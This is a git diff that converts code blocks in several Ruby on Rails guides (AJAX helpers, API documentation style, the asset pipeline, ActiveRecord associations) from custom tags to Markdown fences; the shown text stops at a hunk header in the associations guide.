diff --git a/guides/source/ajax_on_rails.md b/guides/source/ajax_on_rails.md
index 67b0c9f0d3..325878f4c8 100644
--- a/guides/source/ajax_on_rails.md
+++ b/guides/source/ajax_on_rails.md
@@ -60,12 +60,12 @@ You will have to use the +require+ directive to tell Sprockets to load +jquery.j
and +jquery.js+. For example, a new Rails application includes a default
+app/assets/javascripts/application.js+ file which contains the following lines:
-<plain>
+```
// ...
//= require jquery
//= require jquery_ujs
// ...
-</plain>
+```
The +application.js+ file acts like a manifest and is used to tell Sprockets the
files that you wish to require. In this case, you are requiring the files +jquery.js+
@@ -73,28 +73,28 @@ and +jquery_ujs.js+ provided by the +jquery-rails+ gem.
If the application is not using the asset pipeline, this can be accessed as:
-<ruby>
+```ruby
javascript_include_tag :defaults
-</ruby>
+```
By default, +:defaults+ loads jQuery.
You can also choose to use Prototype instead of jQuery and specify the option
using +-j+ switch while generating the application.
-<shell>
+```shell
rails new app_name -j prototype
-</shell>
+```
This will add the +prototype-rails+ gem to the Gemfile and modify the
+app/assets/javascripts/application.js+ file:
-<plain>
+```
// ...
//= require prototype
//= require prototype_ujs
// ...
-</plain>
+```
You are ready to add some AJAX love to your Rails app!
@@ -103,61 +103,61 @@ h4. Examples
To make them working with AJAX, simply pass the <tt>remote: true</tt> option to
the original non-remote method.
-<ruby>
+```ruby
button_to 'New', action: 'new', form_class: 'new-thing'
-</ruby>
+```
will produce
-<html>
+```html
<form method="post" action="/controller/new" class="new-thing">
<div><input value="New" type="submit" /></div>
</form>
-</html>
+```
-<ruby>
+```ruby
button_to 'Create', action: 'create', remote: true, form: { 'data-type' => 'json' }
-</ruby>
+```
will produce
-<html>
+```html
<form method="post" action="/images/create" class="button_to" data-remote="true" data-type="json">
<div><input value="Create" type="submit" /></div>
</form>
-</html>
+```
-<ruby>
+```ruby
button_to 'Delete Image', { action: 'delete', id: @image.id },
method: :delete, data: { confirm: 'Are you sure?' }
-</ruby>
+```
will produce
-<html>
+```html
<form method="post" action="/images/delete/1" class="button_to">
<div>
<input type="hidden" name="_method" value="delete" />
<input data-confirm='Are you sure?' value="Delete" type="submit" />
</div>
</form>
-</html>
+```
-<ruby>
+```ruby
button_to 'Destroy', 'http://www.example.com',
method: 'delete', remote: true, data: { disable_with: 'loading...', confirm: 'Are you sure?' }
-</ruby>
+```
will produce
-<html>
+```html
<form class='button_to' method='post' action='http://www.example.com' data-remote='true'>
<div>
<input name='_method' value='delete' type='hidden' />
<input value='Destroy' type='submit' data-disable-with='loading...' data-confirm='Are you sure?' />
</div>
</form>
-</html>
+```
h4. The Quintessential AJAX Rails Helper: link_to_remote
@@ -165,28 +165,28 @@ Let's start with what is probably the most often used helper: +link_to_remote+.
The signature of +link_to_remote+ function is the same as that of the standard +link_to+ helper:
-<ruby>
+```ruby
def link_to_remote(name, options = {}, html_options = nil)
-</ruby>
+```
And here is a simple example of link_to_remote in action:
-<ruby>
+```ruby
link_to_remote "Add to cart",
:url => add_to_cart_url(product.id),
:update => "cart"
-</ruby>
+```
* The very first parameter, a string, is the text of the link which appears on the page.
* The second parameter, the +options+ hash is the most interesting part as it has the AJAX specific stuff:
** *:url* This is the only parameter that is always required to generate the simplest remote link (technically speaking, it is not required, you can pass an empty +options+ hash to +link_to_remote+ - but in this case the URL used for the POST request will be equal to your current URL which is probably not your intention). This URL points to your AJAX action handler. The URL is typically specified by Rails REST view helpers, but you can use the +url_for+ format too.
** *:update* Specifying a DOM id of the element we would like to update. The above example demonstrates the simplest way of accomplishing this - however, we are in trouble if the server responds with an error message because that will be injected into the page too! However, Rails has a solution for this situation:
-<ruby>
+```ruby
link_to_remote "Add to cart",
:url => add_to_cart_url(product),
:update => { :success => "cart", :failure => "error" }
-</ruby>
+```
If the server returns 200, the output of the above example is equivalent to our first, simple one. However, in case of error, the element with the DOM id +error+ is updated rather than the +cart+ element.
@@ -198,21 +198,21 @@ If the server returns 200, the output of the above example is equivalent to our
A typical example of using +:bottom+ is inserting a new &lt;li&gt; element into an existing list:
-<ruby>
+```ruby
link_to_remote "Add new item",
:url => items_url,
:update => 'item_list',
:position => :bottom
-</ruby>
+```
** *:method* Most typically you want to use a POST request when adding a remote
link to your view so this is the default behavior. However, sometimes you'll want to update (PATCH/PUT) or delete/destroy (DELETE) something and you can specify this with the +:method+ option. Let's see an example for a typical AJAX link for deleting an item from a list:
-<ruby>
+```ruby
link_to_remote "Delete the item",
:url => item_url(item),
:method => :delete
-</ruby>
+```
Note that if we wouldn't override the default behavior (POST), the above snippet would route to the create action rather than destroy.
@@ -223,12 +223,12 @@ Note that if we wouldn't override the default behavior (POST), the above snippet
*** +:submit+ =&gt; +dom_id+ This option does not make sense for +link_to_remote+, but we'll cover it for the sake of completeness. By default, the parent element of the form elements the user is going to submit is the current form - use this option if you want to change the default behavior. By specifying this option you can change the parent element to the element specified by the DOM id +dom_id+.
*** +:with+ &gt; +code+ The JavaScript code snippet in +code+ is evaluated and added to the request URL as a parameter (or set of parameters). Therefore, +code+ should return a valid URL query string (like "item_type=8" or "item_type=8&sort=true"). Usually you want to obtain some value(s) from the page - let's see an example:
-<ruby>
+```ruby
link_to_remote "Update record",
:url => record_url(record),
:method => :patch,
:with => "'status=' <plus> 'encodeURIComponent($('status').value) <plus> '&completed=' <plus> $('completed')"
-</ruby>
+```
This generates a remote link which adds 2 parameters to the standard URL generated by Rails, taken from the page (contained in the elements matched by the 'status' and 'completed' DOM id).
@@ -240,15 +240,15 @@ This generates a remote link which adds 2 parameters to the standard URL generat
*** +:failure:+ =&gt; +code+ The data is fully received, parsed and the server responded with *anything* but "200 OK" (typically 404 or 500, but in general with any status code ranging from 100 to 509)
*** +:complete:+ =&gt; +code+ The combination of the previous two: The request has finished receiving and parsing the data, and returned a status code (which can be anything).
*** Any other status code ranging from 100 to 509: Additionally you might want to check for other HTTP status codes, such as 404. In this case simply use the status code as a number:
-<ruby>
+```ruby
link_to_remote "Add new item",
:url => items_url,
:update => "item_list",
404 => "alert('Item not found!')"
-</ruby>
+```
Let's see a typical example for the most frequent callbacks, +:success+, +:failure+ and +:complete+ in action:
-<ruby>
+```ruby
link_to_remote "Add new item",
:url => items_url,
:update => "item_list",
@@ -256,7 +256,7 @@ link_to_remote "Add new item",
:complete => "$('progress').hide()",
:success => "display_item_added(request)",
:failure => "display_error(request)"
-</ruby>
+```
** *:type* If you want to fire a synchronous request for some obscure reason (blocking the browser while the request is processed and doesn't return a status code), you can use the +:type+ option with the value of +:synchronous+.
* Finally, using the +html_options+ parameter you can add HTML attributes to the generated tag. It works like the same parameter of the +link_to+ helper. There are interesting side effects for the +href+ and +onclick+ parameters though:
@@ -285,12 +285,12 @@ h4. Serving JavaScript
First we'll check out how to send JavaScript to the server manually. You are practically never going to need this, but it's interesting to understand what's going on under the hood.
-<ruby>
+```ruby
def javascript_test
render :text => "alert('Hello, world!')",
:content_type => "text/javascript"
end
-</ruby>
+```
(Note: if you want to test the above method, create a +link_to_remote+ with a single parameter - +:url+, pointing to the +javascript_test+ action)
diff --git a/guides/source/api_documentation_guidelines.md b/guides/source/api_documentation_guidelines.md
index 3de5b119ee..3e8b86e35d 100644
--- a/guides/source/api_documentation_guidelines.md
+++ b/guides/source/api_documentation_guidelines.md
@@ -16,12 +16,12 @@ Write in present tense: "Returns a hash that...", rather than "Returned a hash t
Start comments in upper case. Follow regular punctuation rules:
-<ruby>
+```ruby
# Declares an attribute reader backed by an internally-named instance variable.
def attr_internal_reader(*attrs)
...
end
-</ruby>
+```
Communicate to the reader the current way of doing things, both explicitly and implicitly. Use the idioms recommended in edge. Reorder sections to emphasize favored approaches if needed, etc. The documentation should be a model for best practices and canonical, modern Rails usage.
@@ -45,38 +45,38 @@ Use two spaces to indent chunks of code--that is, for markup purposes, two space
Short docs do not need an explicit "Examples" label to introduce snippets; they just follow paragraphs:
-<ruby>
+```ruby
# Converts a collection of elements into a formatted string by calling
# <tt>to_s</tt> on all elements and joining them.
#
# Blog.all.to_formatted_s # => "First PostSecond PostThird Post"
-</ruby>
+```
On the other hand, big chunks of structured documentation may have a separate "Examples" section:
-<ruby>
+```ruby
# ==== Examples
#
# Person.exists?(5)
# Person.exists?('5')
# Person.exists?(:name => "David")
# Person.exists?(['name LIKE ?', "%#{query}%"])
-</ruby>
+```
The results of expressions follow them and are introduced by "# => ", vertically aligned:
-<ruby>
+```ruby
# For checking if a fixnum is even or odd.
#
# 1.even? # => false
# 1.odd? # => true
# 2.even? # => true
# 2.odd? # => false
-</ruby>
+```
If a line is too long, the comment may be placed on the next line:
-<ruby>
+```ruby
# label(:post, :title)
# # => <label for="post_title">Title</label>
#
@@ -85,25 +85,25 @@ If a line is too long, the comment may be placed on the next line:
#
# label(:post, :title, "A short title", :class => "title_label")
# # => <label for="post_title" class="title_label">A short title</label>
-</ruby>
+```
Avoid using any printing methods like +puts+ or +p+ for that purpose.
On the other hand, regular comments do not use an arrow:
-<ruby>
+```ruby
# polymorphic_url(record) # same as comment_url(record)
-</ruby>
+```
h3. Filenames
As a rule of thumb, use filenames relative to the application root:
-<plain>
+```
config/routes.rb # YES
routes.rb # NO
RAILS_ROOT/config/routes.rb # NO
-</plain>
+```
h3. Fonts
@@ -117,7 +117,7 @@ Use fixed-width fonts for:
* Method parameters.
* File names.
-<ruby>
+```ruby
class Array
# Calls <tt>to_param</tt> on all its elements and joins the result with
# slashes. This is used by <tt>url_for</tt> in Action Pack.
@@ -125,7 +125,7 @@ class Array
collect { |e| e.to_param }.join '/'
end
end
-</ruby>
+```
WARNING: Using a pair of +&#43;...&#43;+ for fixed-width font only works with *words*; that is: anything matching <tt>\A\w&#43;\z</tt>. For anything else use +&lt;tt&gt;...&lt;/tt&gt;+, notably symbols, setters, inline snippets, etc.
@@ -133,7 +133,7 @@ h4. Regular Font
When "true" and "false" are English words rather than Ruby keywords use a regular font:
-<ruby>
+```ruby
# Runs all the validations within the specified context. Returns true if no errors are found,
# false otherwise.
#
@@ -145,15 +145,15 @@ When "true" and "false" are English words rather than Ruby keywords use a regula
def valid?(context = nil)
...
end
-</ruby>
+```
h3. Description Lists
In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols):
-<ruby>
+```ruby
# * <tt>:allow_nil</tt> - Skip validation if attribute is <tt>nil</tt>.
-</ruby>
+```
The description starts in upper case and ends with a full stop—it's standard English.
@@ -161,7 +161,7 @@ h3. Dynamically Generated Methods
Methods created with +(module|class)_eval(STRING)+ have a comment by their side with an instance of the generated code. That comment is 2 spaces away from the template:
-<ruby>
+```ruby
for severity in Severity.constants
class_eval <<-EOT, __FILE__, __LINE__
def #{severity.downcase}(message = nil, progname = nil, &block) # def debug(message = nil, progname = nil, &block)
@@ -173,11 +173,11 @@ for severity in Severity.constants
end # end
EOT
end
-</ruby>
+```
If the resulting lines are too wide, say 200 columns or more, put the comment above the call:
-<ruby>
+```ruby
# def self.find_by_login_and_activated(*args)
# options = args.extract_options!
# ...
@@ -188,4 +188,4 @@ self.class_eval %{
...
end
}
-</ruby>
+```
diff --git a/guides/source/asset_pipeline.md b/guides/source/asset_pipeline.md
index 2a15e95282..771e41e76f 100644
--- a/guides/source/asset_pipeline.md
+++ b/guides/source/asset_pipeline.md
@@ -21,15 +21,15 @@ Making the asset pipeline a core feature of Rails means that all developers can
In Rails 3.1, the asset pipeline is enabled by default. It can be disabled in +config/application.rb+ by putting this line inside the application class definition:
-<ruby>
+```ruby
config.assets.enabled = false
-</ruby>
+```
You can also disable the asset pipeline while creating a new application by passing the <tt>--skip-sprockets</tt> option.
-<plain>
+```
rails new appname --skip-sprockets
-</plain>
+```
You should use the defaults for all new applications unless you have a specific reason to avoid the asset pipeline.
@@ -54,17 +54,17 @@ When a filename is unique and based on its content, HTTP headers can be set to e
The technique that Rails uses for fingerprinting is to insert a hash of the content into the name, usually at the end. For example a CSS file +global.css+ could be renamed with an MD5 digest of its contents:
-<plain>
+```
global-908e25f4bf641868d8683022a5b62f54.css
-</plain>
+```
This is the strategy adopted by the Rails asset pipeline.
Rails' old strategy was to append a date-based query string to every asset linked with a built-in helper. In the source the generated code looked like this:
-<plain>
+```
/stylesheets/global.css?1309495796
-</plain>
+```
The query string strategy has several disadvantages:
@@ -125,41 +125,41 @@ The default locations are: +app/assets/images+ and the subdirectories +javascrip
For example, these files:
-<plain>
+```
app/assets/javascripts/home.js
lib/assets/javascripts/moovinator.js
vendor/assets/javascripts/slider.js
vendor/assets/somepackage/phonebox.js
-</plain>
+```
would be referenced in a manifest like this:
-<plain>
+```
//= require home
//= require moovinator
//= require slider
//= require phonebox
-</plain>
+```
Assets inside subdirectories can also be accessed.
-<plain>
+```
app/assets/javascripts/sub/something.js
-</plain>
+```
is referenced as:
-<plain>
+```
//= require sub/something
-</plain>
+```
You can view the search path by inspecting +Rails.application.config.assets.paths+ in the Rails console.
Besides the standard +assets/*+ paths, additional (fully qualified) paths can be added to the pipeline in +config/application.rb+. For example:
-<ruby>
+```ruby
config.assets.paths << Rails.root.join("lib", "videoplayer", "flash")
-</ruby>
+```
Paths are traversed in the order that they occur in the search path. By default, this means the files in +app/assets+ take precedence, and will mask corresponding paths in +lib+ and +vendor+.
@@ -173,9 +173,9 @@ For example, if you have a jQuery library with many modules, which is stored in
The library as a whole can be accessed in the site's application manifest like so:
-<plain>
+```
//= require library_name
-</plain>
+```
This simplifies maintenance and keeps things clean by allowing related code to be grouped before inclusion elsewhere.
@@ -183,16 +183,16 @@ h4. Coding Links to Assets
Sprockets does not add any new methods to access your assets - you still use the familiar +javascript_include_tag+ and +stylesheet_link_tag+.
-<erb>
+```erb
<%= stylesheet_link_tag "application" %>
<%= javascript_include_tag "application" %>
-</erb>
+```
In regular views you can access images in the +assets/images+ directory like this:
-<erb>
+```erb
<%= image_tag "rails.png" %>
-</erb>
+```
Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at +public/assets/rails.png+ it is served by the web server.
@@ -202,9 +202,9 @@ Sprockets will also look through the paths specified in +config.assets.paths+ wh
Images can also be organized into subdirectories if required, and they can be accessed by specifying the directory's name in the tag:
-<erb>
+```erb
<%= image_tag "icons/rails.png" %>
-</erb>
+```
WARNING: If you're precompiling your assets (see "In Production":#in-production below), linking to an asset that does not exist will raise an exception in the calling page. This includes linking to a blank string. As such, be careful using <tt>image_tag</tt> and the other helpers with user-supplied data.
@@ -212,17 +212,17 @@ h5. CSS and ERB
The asset pipeline automatically evaluates ERB. This means that if you add an +erb+ extension to a CSS asset (for example, +application.css.erb+), then helpers like +asset_path+ are available in your CSS rules:
-<plain>
+```
.class { background-image: url(<%= asset_path 'image.png' %>) }
-</plain>
+```
This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as +app/assets/images/image.png+, which would be referenced here. If this image is already available in +public/assets+ as a fingerprinted file, then that path is referenced.
If you want to use a "data URI":http://en.wikipedia.org/wiki/Data_URI_scheme -- a method of embedding the image data directly into the CSS file -- you can use the +asset_data_uri+ helper.
-<plain>
+```
#logo { background: url(<%= asset_data_uri 'logo.png' %>) }
-</plain>
+```
This inserts a correctly-formatted data URI into the CSS source.
@@ -244,19 +244,19 @@ h5. JavaScript/CoffeeScript and ERB
If you add an +erb+ extension to a JavaScript asset, making it something such as +application.js.erb+, then you can use the +asset_path+ helper in your JavaScript code:
-<erb>
+```erb
$('#logo').attr({
src: "<%= asset_path('logo.png') %>"
});
-</erb>
+```
This writes the path to the particular asset being referenced.
Similarly, you can use the +asset_path+ helper in CoffeeScript files with +erb+ extension (e.g., +application.js.coffee.erb+):
-<plain>
+```
$('#logo').attr src: "<%= asset_path('logo.png') %>"
-</plain>
+```
h4. Manifest Files and Directives
@@ -264,12 +264,12 @@ Sprockets uses manifest files to determine which assets to include and serve. Th
For example, a new Rails application includes a default +app/assets/javascripts/application.js+ file which contains the following lines:
-<plain>
+```
// ...
//= require jquery
//= require jquery_ujs
//= require_tree .
-</plain>
+```
In JavaScript files, the directives begin with +//=+. In this case, the file is using the +require+ and the +require_tree+ directives. The +require+ directive is used to tell Sprockets the files that you wish to require. Here, you are requiring the files +jquery.js+ and +jquery_ujs.js+ that are available somewhere in the search path for Sprockets. You need not supply the extensions explicitly. Sprockets assumes you are requiring a +.js+ file when done from within a +.js+ file.
@@ -281,12 +281,12 @@ Directives are processed top to bottom, but the order in which files are include
Rails also creates a default +app/assets/stylesheets/application.css+ file which contains these lines:
-<plain>
+```
/* ...
*= require_self
*= require_tree .
*/
-</plain>
+```
The directives that work in the JavaScript files also work in stylesheets (though obviously including stylesheets rather than JavaScript files). The +require_tree+ directive in a CSS manifest works the same way as the JavaScript one, requiring all stylesheets from the current directory.
@@ -298,13 +298,13 @@ You can have as many manifest files as you need. For example the +admin.css+ and
The same remarks about ordering made above apply. In particular, you can specify individual files and they are compiled in the order specified. For example, you might concatenate three CSS files together this way:
-<plain>
+```
/* ...
*= require reset
*= require layout
*= require chrome
*/
-</plain>
+```
h4. Preprocessing
@@ -323,19 +323,19 @@ In development mode, assets are served as separate files in the order they are s
This manifest +app/assets/javascripts/application.js+:
-<plain>
+```
//= require core
//= require projects
//= require tickets
-</plain>
+```
would generate this HTML:
-<html>
+```html
<script src="/assets/core.js?body=1"></script>
<script src="/assets/projects.js?body=1"></script>
<script src="/assets/tickets.js?body=1"></script>
-</html>
+```
The +body+ param is required by Sprockets.
@@ -343,15 +343,15 @@ h4. Turning Debugging off
You can turn off debug mode by updating +config/environments/development.rb+ to include:
-<ruby>
+```ruby
config.assets.debug = false
-</ruby>
+```
When debug mode is off, Sprockets concatenates and runs the necessary preprocessors on all files. With debug mode turned off the manifest above would generate instead:
-<html>
+```html
<script src="/assets/application.js"></script>
-</html>
+```
Assets are compiled and cached on the first request after the server is started. Sprockets sets a +must-revalidate+ Cache-Control HTTP header to reduce request overhead on subsequent requests -- on these the browser gets a 304 (Not Modified) response.
@@ -359,10 +359,10 @@ If any of the files in the manifest have changed between requests, the server re
Debug mode can also be enabled in the Rails helper methods:
-<erb>
+```erb
<%= stylesheet_link_tag "application", :debug => true %>
<%= javascript_include_tag "application", :debug => true %>
-</erb>
+```
The +:debug+ option is redundant if debug mode is on.
@@ -376,17 +376,17 @@ During the precompilation phase an MD5 is generated from the contents of the com
For example this:
-<erb>
+```erb
<%= javascript_include_tag "application" %>
<%= stylesheet_link_tag "application" %>
-</erb>
+```
generates something like this:
-<html>
+```html
<script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js"></script>
<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen" rel="stylesheet" />
-</html>
+```
The fingerprinting behavior is controlled by the setting of +config.assets.digest+ setting in Rails (which defaults to +true+ for production and +false+ for everything else).
@@ -402,9 +402,9 @@ You can call this task on the server during deployment to create compiled versio
The rake task is:
-<plain>
+```
bundle exec rake assets:precompile
-</plain>
+```
For faster asset precompiles, you can partially load your application by setting
+config.assets.initialize_on_precompile+ to false in +config/application.rb+, though in that case templates
@@ -419,9 +419,9 @@ engines (or other gems) will not be loaded, which can cause missing assets.
Capistrano (v2.8.0 and above) includes a recipe to handle this in deployment. Add the following line to +Capfile+:
-<erb>
+```erb
load 'deploy/assets'
-</erb>
+```
This links the folder specified in +config.assets.prefix+ to +shared/assets+. If you already use this shared folder you'll need to write your own deployment task.
@@ -431,38 +431,38 @@ NOTE. If you are precompiling your assets locally, you can use +bundle install -
The default matcher for compiling files includes +application.js+, +application.css+ and all non-JS/CSS files (this will include all image assets automatically):
-<ruby>
+```ruby
[ Proc.new{ |path| !%w(.js .css).include?(File.extname(path)) }, /application.(css|js)$/ ]
-</ruby>
+```
NOTE. The matcher (and other members of the precompile array; see below) is applied to final compiled file names. This means that anything that compiles to JS/CSS is excluded, as well as raw JS/CSS files; for example, +.coffee+ and +.scss+ files are *not* automatically included as they compile to JS/CSS.
If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the +precompile+ array:
-<erb>
+```erb
config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js']
-</erb>
+```
NOTE. Always specify an expected compiled filename that ends with js or css, even if you want to add Sass or CoffeeScript files to the precompile array.
The rake task also generates a +manifest.yml+ that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods to avoid handing the mapping requests back to Sprockets. A typical manifest file looks like:
-<plain>
+```
---
rails.png: rails-bd9ad5a560b5a3a7be0808c5cd76a798.png
jquery-ui.min.js: jquery-ui-7e33882a28fc84ad0e0e47e46cbf901c.min.js
jquery.min.js: jquery-8a50feed8d29566738ad005e19fe1c2d.min.js
application.js: application-3fdab497b8fb70d20cfc5495239dfc29.js
application.css: application-8af74128f904600e41a6e39241464e03.css
-</plain>
+```
The default location for the manifest is the root of the location specified in +config.assets.prefix+ ('/assets' by default).
This can be changed with the +config.assets.manifest+ option. A fully specified path is required:
-<erb>
+```erb
config.assets.manifest = '/path/to/some/other/location'
-</erb>
+```
NOTE: If there are missing precompiled files in production you will get an <tt>Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError</tt> exception indicating the name of the missing file(s).
@@ -472,7 +472,7 @@ Precompiled assets exist on the filesystem and are served directly by your web s
For Apache:
-<plain>
+```
# The Expires* directives requires the Apache module +mod_expires+ to be enabled.
<LocationMatch "^/assets/.*$">
# Use of ETag is discouraged when Last-Modified is present
@@ -482,11 +482,11 @@ For Apache:
ExpiresActive On
ExpiresDefault "access plus 1 year"
</LocationMatch>
-</plain>
+```
For nginx:
-<plain>
+```
location ~ ^/assets/ {
expires 1y;
add_header Cache-Control public;
@@ -494,7 +494,7 @@ location ~ ^/assets/ {
add_header ETag "";
break;
}
-</plain>
+```
h5. GZip compression
@@ -502,20 +502,20 @@ When files are precompiled, Sprockets also creates a "gzipped":http://en.wikiped
Nginx is able to do this automatically enabling +gzip_static+:
-<plain>
+```
location ~ ^/(assets)/ {
root /path/to/public;
gzip_static on; # to serve pre-gzipped version
expires max;
add_header Cache-Control public;
}
-</plain>
+```
This directive is available if the core module that provides this feature was compiled with the web server. Ubuntu packages, even +nginx-light+ have the module compiled. Otherwise, you may need to perform a manual compilation:
-<plain>
+```
./configure --with-http_gzip_static_module
-</plain>
+```
If you're compiling nginx with Phusion Passenger you'll need to pass that option when prompted.
@@ -538,15 +538,15 @@ There are two caveats:
In <tt>config/environments/development.rb</tt>, place the following line:
-<erb>
+```erb
config.assets.prefix = "/dev-assets"
-</erb>
+```
You will also need this in application.rb:
-<erb>
+```erb
config.assets.initialize_on_precompile = false
-</erb>
+```
The +prefix+ change makes Rails use a different URL for serving assets in development mode, and pass all requests to Sprockets. The prefix is still set to +/assets+ in the production environment. Without this change, the application would serve the precompiled assets from +public/assets+ in development, and you would not see any local changes until you compile assets again.
@@ -562,9 +562,9 @@ In some circumstances you may wish to use live compilation. In this mode all req
To enable this option set:
-<erb>
+```erb
config.assets.compile = true
-</erb>
+```
On the first request the assets are compiled and cached as outlined in development above, and the manifest names used in the helpers are altered to include the MD5 hash.
@@ -574,11 +574,11 @@ This mode uses more memory, performs more poorly than the default and is not rec
If you are deploying a production application to a system without any pre-existing JavaScript runtimes, you may want to add one to your Gemfile:
-<plain>
+```
group :production do
gem 'therubyracer'
end
-</plain>
+```
h3. Customizing the Pipeline
@@ -588,9 +588,9 @@ There is currently one option for compressing CSS, YUI. The "YUI CSS compressor"
The following line enables YUI compression, and requires the +yui-compressor+ gem.
-<erb>
+```erb
config.assets.css_compressor = :yui
-</erb>
+```
The +config.assets.compress+ must be set to +true+ to enable CSS compression.
@@ -602,9 +602,9 @@ The default Gemfile includes "uglifier":https://github.com/lautis/uglifier. This
The following line invokes +uglifier+ for JavaScript compression.
-<erb>
+```erb
config.assets.js_compressor = :uglifier
-</erb>
+```
Note that +config.assets.compress+ must be set to +true+ to enable JavaScript compression
@@ -614,19 +614,19 @@ h4. Using Your Own Compressor
The compressor config settings for CSS and JavaScript also take any object. This object must have a +compress+ method that takes a string as the sole argument and it must return a string.
-<erb>
+```erb
class Transformer
def compress(string)
do_something_returning_a_string(string)
end
end
-</erb>
+```
To enable this, pass a +new+ object to the config option in +application.rb+:
-<erb>
+```erb
config.assets.css_compressor = Transformer.new
-</erb>
+```
h4. Changing the _assets_ Path
@@ -635,9 +635,9 @@ The public path that Sprockets uses by default is +/assets+.
This can be changed to something else:
-<erb>
+```erb
config.assets.prefix = "/some_other_path"
-</erb>
+```
This is a handy option if you are updating an existing project (pre Rails 3.1) that already uses this path or you wish to use this path for a new resource.
@@ -647,10 +647,10 @@ The X-Sendfile header is a directive to the web server to ignore the response fr
Apache and nginx support this option, which can be enabled in <tt>config/environments/production.rb</tt>.
-<erb>
+```erb
# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
-</erb>
+```
WARNING: If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into +production.rb+ and any other environments you define with production behavior (not +application.rb+).
@@ -658,15 +658,15 @@ h3. Assets Cache Store
The default Rails cache store will be used by Sprockets to cache assets in development and production. This can be changed by setting +config.assets.cache_store+.
-<ruby>
+```ruby
config.assets.cache_store = :memory_store
-</ruby>
+```
The options accepted by the assets cache store are the same as the application's cache store.
-<ruby>
+```ruby
config.assets.cache_store = :memory_store, { :size => 32.megabytes }
-</ruby>
+```
h3. Adding Assets to Your Gems
@@ -688,7 +688,7 @@ The third is updating the various environment files with the correct default opt
In +application.rb+:
-<erb>
+```erb
# Enable the asset pipeline
config.assets.enabled = true
@@ -697,21 +697,21 @@ config.assets.version = '1.0'
# Change the path that assets are served from
# config.assets.prefix = "/assets"
-</erb>
+```
In +development.rb+:
-<erb>
+```erb
# Do not compress assets
config.assets.compress = false
# Expands the lines which load the assets
config.assets.debug = true
-</erb>
+```
And in +production.rb+:
-<erb>
+```erb
# Compress JavaScripts and CSS
config.assets.compress = true
@@ -730,13 +730,13 @@ config.assets.digest = true
# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
# config.assets.precompile += %w( search.js )
-</erb>
+```
You should not need to change +test.rb+. The defaults in the test environment are: +config.assets.compile+ is true and +config.assets.compress+, +config.assets.debug+ and +config.assets.digest+ are false.
The following should also be added to +Gemfile+:
-<plain>
+```
# Gems used only for assets and not required
# in production environments by default.
group :assets do
@@ -744,23 +744,23 @@ group :assets do
gem 'coffee-rails', "~> 3.2.1"
gem 'uglifier'
end
-</plain>
+```
If you use the +assets+ group with Bundler, please make sure that your +config/application.rb+ has the following Bundler require statement:
-<ruby>
+```ruby
if defined?(Bundler)
# If you precompile assets before deploying to production, use this line
Bundler.require *Rails.groups(:assets => %w(development test))
# If you want your assets lazily compiled in production, use this line
# Bundler.require(:default, :assets, Rails.env)
end
-</ruby>
+```
Instead of the old Rails 3.0 version:
-<ruby>
+```ruby
# If you have a Gemfile, require the gems listed there, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(:default, Rails.env) if defined?(Bundler)
-</ruby>
+```
diff --git a/guides/source/association_basics.md b/guides/source/association_basics.md
index 151752eee9..a209c10c77 100644
--- a/guides/source/association_basics.md
+++ b/guides/source/association_basics.md
@@ -12,34 +12,34 @@ h3. Why Associations?
Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this:
-<ruby>
+```ruby
class Customer < ActiveRecord::Base
end
class Order < ActiveRecord::Base
end
-</ruby>
+```
Now, suppose we wanted to add a new order for an existing customer. We'd need to do something like this:
-<ruby>
+```ruby
@order = Order.create(:order_date => Time.now,
:customer_id => @customer.id)
-</ruby>
+```
Or consider deleting a customer, and ensuring that all of its orders get deleted as well:
-<ruby>
+```ruby
@orders = Order.where(:customer_id => @customer.id)
@orders.each do |order|
order.destroy
end
@customer.destroy
-</ruby>
+```
With Active Record associations, we can streamline these -- and other -- operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:
-<ruby>
+```ruby
class Customer < ActiveRecord::Base
has_many :orders, :dependent => :destroy
end
@@ -47,19 +47,19 @@ end
class Order < ActiveRecord::Base
belongs_to :customer
end
-</ruby>
+```
With this change, creating a new order for a particular customer is easier:
-<ruby>
+```ruby
@order = @customer.orders.create(:order_date => Time.now)
-</ruby>
+```
Deleting a customer and all of its orders is _much_ easier:
-<ruby>
+```ruby
@customer.destroy
-</ruby>
+```
To learn more about the different types of associations, read the next section of this guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.
@@ -80,11 +80,11 @@ h4. The +belongs_to+ Association
A +belongs_to+ association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way:
-<ruby>
+```ruby
class Order < ActiveRecord::Base
belongs_to :customer
end
-</ruby>
+```
!images/belongs_to.png(belongs_to Association Diagram)!
@@ -94,11 +94,11 @@ h4. The +has_one+ Association
A +has_one+ association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:
-<ruby>
+```ruby
class Supplier < ActiveRecord::Base
has_one :account
end
-</ruby>
+```
!images/has_one.png(has_one Association Diagram)!
@@ -106,11 +106,11 @@ h4. The +has_many+ Association
A +has_many+ association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a +belongs_to+ association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:
-<ruby>
+```ruby
class Customer < ActiveRecord::Base
has_many :orders
end
-</ruby>
+```
NOTE: The name of the other model is pluralized when declaring a +has_many+ association.
@@ -120,7 +120,7 @@ h4. The +has_many :through+ Association
